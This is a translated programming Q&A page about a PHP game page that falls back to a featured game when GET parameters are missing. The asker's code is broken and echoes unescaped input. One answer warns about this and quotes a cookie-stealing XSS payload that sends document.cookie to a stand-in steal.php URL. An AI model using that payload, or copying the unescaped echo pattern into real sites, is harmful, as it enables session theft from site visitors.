PHP:设置变量以获取价值

时间:2009-12-21 12:54:01

标签: php variables web get

我正在使用PHP创建一个游戏网站,我想只使用一个页面进行游戏而不是一堆。我希望输入的信息如下:

`?swf = [路径到.swf]& name = [游戏名称]& description = [游戏说明]& instruction = [游戏说明]``

问题是如果URL中没有输入数据,则返回黑页。如果URL中没有任何内容,我想使用if ... else来显示特色游戏。我现在的代码是:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

任何人都可以就如何完成此事提出任何建议吗?

3 个答案:

答案 0 :(得分:3)

我不确定if($ name ==“*”)是做什么的,但我会用

if(isset($_GET['name']))

相反,检查名称是否已传递给网址。

答案 1 :(得分:1)

我假设$_GET['name'] == "*"你混淆了什么。在这种情况下,它只是一个字符串比较。 *不是匹配SQL中的任何通配符。如果您想检查$_GET['name']中是否有内容,可以使用emptyisset

另外,我建议你检查一下name,因为你的所有参数在概念上都属于游戏。如果没有name,则不会有descriptioninstructions

但无论你做什么,一定要清理你要输出的参数,否则有人迟早会提供这个或类似名称的东西:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 

答案 2 :(得分:0)

if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}